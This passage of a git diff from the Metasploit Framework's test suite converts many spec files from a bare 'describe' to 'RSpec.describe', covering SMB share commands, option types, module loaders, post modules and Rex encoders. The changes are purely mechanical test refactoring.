'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index b94ea59918..18835855ed 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 31d24d8038..62d9da0c34 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index d8316a6e0b..b0f99b9f11 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index f4d861ee8b..7f8f628806 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index f161bd65df..e0e80c70e6 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 462ecfba55..67e353b5c5 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index 0c14918510..ed1f373351 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index 2f36bdcaa7..2c3c4357a7 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 049d13d122..170fee63c9 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 7075f3281d..53e5c45015 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/framework' -describe Msf::Framework do +RSpec.describe Msf::Framework do context '#initialize' do subject(:framework) { described_class.new diff --git a/spec/lib/msf/core/module/failure_spec.rb b/spec/lib/msf/core/module/failure_spec.rb index 7b71b7d2a4..c185827f80 100644 --- a/spec/lib/msf/core/module/failure_spec.rb +++ b/spec/lib/msf/core/module/failure_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Module::Failure do +RSpec.describe Msf::Module::Failure do context 'CONSTANTS' do context 'None' do subject(:none) { diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index d311b07e6e..cda608c371 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -16,7 +16,7 @@ require 'tmpdir' require 'msf/core' -describe Msf::ModuleManager do +RSpec.describe Msf::ModuleManager do include_context 'Msf::Simple::Framework' let(:basename_prefix) do diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 35b83bc7b1..a6bea2f517 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'msf/core/module' -describe Msf::Module do +RSpec.describe Msf::Module do subject(:msf_module) { described_class.new } diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index b67c31308e..b0103a23a3 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'spec_helper' -describe Msf::Modules::Error do +RSpec.describe Msf::Modules::Error do context 'instance methods' do context '#initialize' do include_context 'Msf::Modules::Error attributes' diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0a5ac1e468..7eaf935d69 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core' -describe Msf::Modules::Loader::Base do +RSpec.describe Msf::Modules::Loader::Base do include_context 'Msf::Modules::Loader::Base' let(:described_class_pathname) do diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index f0c7e2ff01..8bff240c17 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -5,7 +5,7 @@ require 'msf/core/modules/loader/directory' require 'msf/core' -describe Msf::Modules::Loader::Directory do +RSpec.describe Msf::Modules::Loader::Directory do context 'instance methods' do include_context 'Msf::Modules::Loader::Base' diff --git a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb index f3ebffdcaf..e4daf5f67c 100644 --- a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb @@ -3,6 +3,6 @@ require 'spec_helper' require 'msf/core/modules/metasploit_class_compatibility_error' -describe Msf::Modules::MetasploitClassCompatibilityError do +RSpec.describe Msf::Modules::MetasploitClassCompatibilityError do it_should_behave_like 'Msf::Modules::Error subclass #initialize' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 6dcc3c6e52..95d0318af5 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/modules/namespace' -describe Msf::Modules::Namespace do +RSpec.describe Msf::Modules::Namespace do let(:module_path) do "parent/path/type_directory/#{module_reference_name}.rb" end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index e967e02f2c..28b8822ba0 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'spec_helper' -describe Msf::Modules::VersionCompatibilityError do +RSpec.describe Msf::Modules::VersionCompatibilityError do it_should_behave_like 'Msf::Modules::Error subclass #initialize' do let(:minimum_api_version) do 1 diff --git a/spec/lib/msf/core/opt_address_range_spec.rb b/spec/lib/msf/core/opt_address_range_spec.rb index 5b5a7f499b..d68ef73d48 100644 --- a/spec/lib/msf/core/opt_address_range_spec.rb +++ b/spec/lib/msf/core/opt_address_range_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptAddressRange do +RSpec.describe Msf::OptAddressRange do # Normalized values are just the original value for OptAddressRange valid_values = [ { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, diff --git a/spec/lib/msf/core/opt_address_spec.rb b/spec/lib/msf/core/opt_address_spec.rb index 82bdf64d28..74bcc467dc 100644 --- a/spec/lib/msf/core/opt_address_spec.rb +++ b/spec/lib/msf/core/opt_address_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptAddress do +RSpec.describe Msf::OptAddress do valid_values = [ "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" # Normalized values are just the original value diff --git a/spec/lib/msf/core/opt_bool_spec.rb b/spec/lib/msf/core/opt_bool_spec.rb index 2b4b3c8c65..d639cd42ea 100644 --- a/spec/lib/msf/core/opt_bool_spec.rb +++ b/spec/lib/msf/core/opt_bool_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptBool do +RSpec.describe Msf::OptBool do valid_values = [ { :value => "true", :normalized => true }, { :value => "yes", :normalized => true }, diff --git a/spec/lib/msf/core/opt_enum_spec.rb b/spec/lib/msf/core/opt_enum_spec.rb index 5c882c98b4..14ccea4cbb 100644 --- a/spec/lib/msf/core/opt_enum_spec.rb +++ b/spec/lib/msf/core/opt_enum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptEnum do +RSpec.describe Msf::OptEnum do it_behaves_like "an option", [], [], 'enum' diff --git a/spec/lib/msf/core/opt_int_spec.rb b/spec/lib/msf/core/opt_int_spec.rb index b9a4d4e5b2..042c0c02b1 100644 --- a/spec/lib/msf/core/opt_int_spec.rb +++ b/spec/lib/msf/core/opt_int_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptInt do +RSpec.describe Msf::OptInt do valid_values = [ { :value => "1", :normalized => 1 }, { :value => "10", :normalized => 10 }, diff --git a/spec/lib/msf/core/opt_path_spec.rb b/spec/lib/msf/core/opt_path_spec.rb index 9a7a793e43..dcb2ace6ca 100644 --- a/spec/lib/msf/core/opt_path_spec.rb +++ b/spec/lib/msf/core/opt_path_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptPath do +RSpec.describe Msf::OptPath do valid_values = [ { :value => __FILE__, :normalized => __FILE__ }, ] diff --git a/spec/lib/msf/core/opt_port_spec.rb b/spec/lib/msf/core/opt_port_spec.rb index e90f5133a2..cb35c0ac1d 100644 --- a/spec/lib/msf/core/opt_port_spec.rb +++ b/spec/lib/msf/core/opt_port_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptPort do +RSpec.describe Msf::OptPort do valid_values = [ { :value => "0", :normalized => 0 }, { :value => "65535",:normalized => 65535 }, diff --git a/spec/lib/msf/core/opt_raw_spec.rb b/spec/lib/msf/core/opt_raw_spec.rb index d0568eebe4..03868d7a21 100644 --- a/spec/lib/msf/core/opt_raw_spec.rb +++ b/spec/lib/msf/core/opt_raw_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptRaw do +RSpec.describe Msf::OptRaw do valid_values = [ { :value => 'foo', :normalized => 'foo' }, diff --git a/spec/lib/msf/core/opt_regexp_spec.rb b/spec/lib/msf/core/opt_regexp_spec.rb index 0ff0e623cc..45f4646d05 100644 --- a/spec/lib/msf/core/opt_regexp_spec.rb +++ b/spec/lib/msf/core/opt_regexp_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptRegexp do +RSpec.describe Msf::OptRegexp do valid_values = [ { :value => '^foo$', :normalized => /^foo$/ }, diff --git a/spec/lib/msf/core/opt_spec.rb b/spec/lib/msf/core/opt_spec.rb index 4421d9be4f..541265097b 100644 --- a/spec/lib/msf/core/opt_spec.rb +++ b/spec/lib/msf/core/opt_spec.rb @@ -1,6 +1,6 @@ require 'msf/core/opt' -describe Msf::Opt do +RSpec.describe Msf::Opt do subject(:opt) { described_class } it { is_expected.to respond_to(:CHOST) } diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 1a8d26b86b..8df2a733dc 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptionContainer do +RSpec.describe Msf::OptionContainer do it "should create new options for it's args" do foo_inst = double("foo_inst") foo_inst.stub(:advanced=) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 7a707e41af..1eb6427328 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/payload_generator' -describe Msf::PayloadGenerator do +RSpec.describe Msf::PayloadGenerator do include_context 'Msf::Simple::Framework#modules loading' let(:lhost) { "192.168.172.1"} diff --git a/spec/lib/msf/core/platform_spec.rb b/spec/lib/msf/core/platform_spec.rb index f9f4bccad1..027a8a4d1b 100644 --- a/spec/lib/msf/core/platform_spec.rb +++ b/spec/lib/msf/core/platform_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Platform do +RSpec.describe Msf::Platform do it 'is an alias for Msf::Module::Platform' do expect(described_class.name).to eq('Msf::Module::Platform') end diff --git a/spec/lib/msf/core/post/android/priv_spec.rb b/spec/lib/msf/core/post/android/priv_spec.rb index 527d58a03c..47fc51a66d 100644 --- a/spec/lib/msf/core/post/android/priv_spec.rb +++ b/spec/lib/msf/core/post/android/priv_spec.rb @@ -2,7 +2,7 @@ require 'msf/core/post/android/priv' -describe Msf::Post::Android::Priv do +RSpec.describe Msf::Post::Android::Priv do subject do mod = Module.new diff --git a/spec/lib/msf/core/post/android/system_spec.rb b/spec/lib/msf/core/post/android/system_spec.rb index e24bc0cbf0..d4323ac032 100644 --- a/spec/lib/msf/core/post/android/system_spec.rb +++ b/spec/lib/msf/core/post/android/system_spec.rb @@ -2,7 +2,7 @@ require 'msf/core/post/android/system' -describe Msf::Post::Android::System do +RSpec.describe Msf::Post::Android::System do subject do mod = Module.new diff --git a/spec/lib/msf/core/post/linux/busy_box_spec.rb b/spec/lib/msf/core/post/linux/busy_box_spec.rb index ea3f29bd23..790faf238f 100644 --- a/spec/lib/msf/core/post/linux/busy_box_spec.rb +++ b/spec/lib/msf/core/post/linux/busy_box_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/linux/busy_box' -describe Msf::Post::Linux::BusyBox do +RSpec.describe Msf::Post::Linux::BusyBox do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index b7666afb46..b8f8d1174a 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/windows/mssql' -describe Msf::Post::Windows::MSSQL do +RSpec.describe Msf::Post::Windows::MSSQL do let(:subject) do mod = Module.new mod.extend described_class diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index e30971ff10..19a8e851cc 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/windows/priv' -describe Msf::Post::Windows::Priv do +RSpec.describe Msf::Post::Windows::Priv do subject do mod = Module.new diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 4832a252a6..7a6bdf32eb 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/windows/runas' -describe Msf::Post::Windows::Runas do +RSpec.describe Msf::Post::Windows::Runas do let(:process_info) do "\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00" end diff --git a/spec/lib/msf/core/reference_spec.rb b/spec/lib/msf/core/reference_spec.rb index 0e2d8f77ba..8027fea3b7 100644 --- a/spec/lib/msf/core/reference_spec.rb +++ b/spec/lib/msf/core/reference_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Reference do +RSpec.describe Msf::Reference do it 'is an alias for Msf::Module::Reference' do expect(described_class.name).to eq('Msf::Module::Reference') end diff --git a/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb b/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb index 06cdd96025..c3a227f54c 100644 --- a/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb +++ b/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb @@ -5,7 +5,7 @@ require 'msf/core/rpc/v10/rpc_base' require 'msf/core/rpc/v10/rpc_core' require 'msf/core/rpc/v10/service' -describe Msf::RPC::RPC_Core do +RSpec.describe Msf::RPC::RPC_Core do include_context 'Msf::Simple::Framework' let(:service) do diff --git a/spec/lib/msf/core/site_reference_spec.rb b/spec/lib/msf/core/site_reference_spec.rb index 653bbce6d7..e887033bbd 100644 --- a/spec/lib/msf/core/site_reference_spec.rb +++ b/spec/lib/msf/core/site_reference_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::SiteReference do +RSpec.describe Msf::SiteReference do it 'is an alias for Msf::Module::SiteReference' do expect(described_class.name).to eq('Msf::Module::SiteReference') end diff --git a/spec/lib/msf/core/target_spec.rb b/spec/lib/msf/core/target_spec.rb index 9a21c8add2..9ff9017b75 100644 --- a/spec/lib/msf/core/target_spec.rb +++ b/spec/lib/msf/core/target_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Target do +RSpec.describe Msf::Target do it 'is an alias for Msf::Module::Target' do expect(described_class.name).to eq('Msf::Module::Target') end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index e28b76212b..a2debece0a 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'msf/core/db_export' -describe Msf::DBManager::Export do +RSpec.describe Msf::DBManager::Export do include_context 'Msf::DBManager' subject(:export) do diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 2c732c9281..47ee28d2ec 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -11,7 +11,7 @@ require 'spec_helper' require 'metasploit/framework/database' require 'msf/core' -describe Msf::DBManager do +RSpec.describe Msf::DBManager do include_context 'Msf::DBManager' subject do diff --git a/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb index ad2c6e57f8..82c63c9854 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/ui' require 'msf/ui/console/command_dispatcher/auxiliary' -describe Msf::Ui::Console::CommandDispatcher::Auxiliary do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Auxiliary do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index 9e5ee10687..0789f6fe9c 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -4,7 +4,7 @@ require 'msf/ui' require 'msf/ui/console/module_command_dispatcher' require 'msf/ui/console/command_dispatcher/core' -describe Msf::Ui::Console::CommandDispatcher::Core do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 97955a95f4..efb93bc0e8 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/ui' require 'msf/ui/console/command_dispatcher/db' -describe Msf::Ui::Console::CommandDispatcher::Db do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb index 827254a914..6d3ed47ccb 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/ui' require 'msf/ui/console/command_dispatcher/exploit' -describe Msf::Ui::Console::CommandDispatcher::Exploit do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Exploit do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/net/dns/rr/classes_spec.rb b/spec/lib/net/dns/rr/classes_spec.rb index 7b2fc8cb90..5bdd535e95 100644 --- a/spec/lib/net/dns/rr/classes_spec.rb +++ b/spec/lib/net/dns/rr/classes_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'net/dns' -describe Net::DNS::RR::Classes do +RSpec.describe Net::DNS::RR::Classes do subject do described_class.new diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb index 728525faad..b05753c72c 100644 --- a/spec/lib/net/dns/rr/types_spec.rb +++ b/spec/lib/net/dns/rr/types_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'net/dns' -describe Net::DNS::RR::Types do +RSpec.describe Net::DNS::RR::Types do subject do described_class.new diff --git a/spec/lib/rex/arch/sparc_spec.rb b/spec/lib/rex/arch/sparc_spec.rb index ed0c5b7721..b8ec74532a 100644 --- a/spec/lib/rex/arch/sparc_spec.rb +++ b/spec/lib/rex/arch/sparc_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/arch/sparc' -describe Rex::Arch::Sparc do +RSpec.describe Rex::Arch::Sparc do describe ".sethi" do subject { described_class.sethi(constant, dst) } diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb index 6e401d897d..639f4c9ae1 100644 --- a/spec/lib/rex/arch/x86_spec.rb +++ b/spec/lib/rex/arch/x86_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/arch/x86' -describe Rex::Arch::X86 do +RSpec.describe Rex::Arch::X86 do describe ".reg_number" do subject { described_class.reg_number(register) } diff --git a/spec/lib/rex/arch/zarch_spec.rb b/spec/lib/rex/arch/zarch_spec.rb index 9d4aafa36d..03d09d3a8c 100644 --- a/spec/lib/rex/arch/zarch_spec.rb +++ b/spec/lib/rex/arch/zarch_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/arch' -describe Rex::Arch do +RSpec.describe Rex::Arch do describe ".pack_addr" do subject { described_class.pack_addr(arch, addr) } diff --git a/spec/lib/rex/arch_spec.rb b/spec/lib/rex/arch_spec.rb index 8f019df3f0..f7b958b974 100644 --- a/spec/lib/rex/arch_spec.rb +++ b/spec/lib/rex/arch_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/arch' -describe Rex::Arch do +RSpec.describe Rex::Arch do describe ".adjust_stack_pointer" do subject { described_class.adjust_stack_pointer(arch, adjustment) } diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb index d4fc8be5ef..3c482e2c47 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/alpha_mixed' -describe Rex::Encoder::Alpha2::AlphaMixed do +RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb index bab8c9c081..14a092b4ba 100644 --- a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/alpha_upper' -describe Rex::Encoder::Alpha2::AlphaUpper do +RSpec.describe Rex::Encoder::Alpha2::AlphaUpper do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/generic_spec.rb b/spec/lib/rex/encoder/alpha2/generic_spec.rb index 60e24472ef..4e484eeb14 100644 --- a/spec/lib/rex/encoder/alpha2/generic_spec.rb +++ b/spec/lib/rex/encoder/alpha2/generic_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/generic' -describe Rex::Encoder::Alpha2::Generic do +RSpec.describe Rex::Encoder::Alpha2::Generic do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb index 9ace965dd5..d0e158dbb4 100644 --- a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb +++ b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/unicode_mixed' -describe Rex::Encoder::Alpha2::UnicodeMixed do +RSpec.describe Rex::Encoder::Alpha2::UnicodeMixed do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb index 29f80b7ee7..04a9d7caa9 100644 --- a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb +++ b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/encoder/alpha2/unicode_upper' -describe Rex::Encoder::Alpha2::UnicodeUpper do +RSpec.describe Rex::Encoder::Alpha2::UnicodeUpper do it_behaves_like 'Rex::Encoder::Alpha2::Generic' diff --git a/spec/lib/rex/encoder/ndr_spec.rb 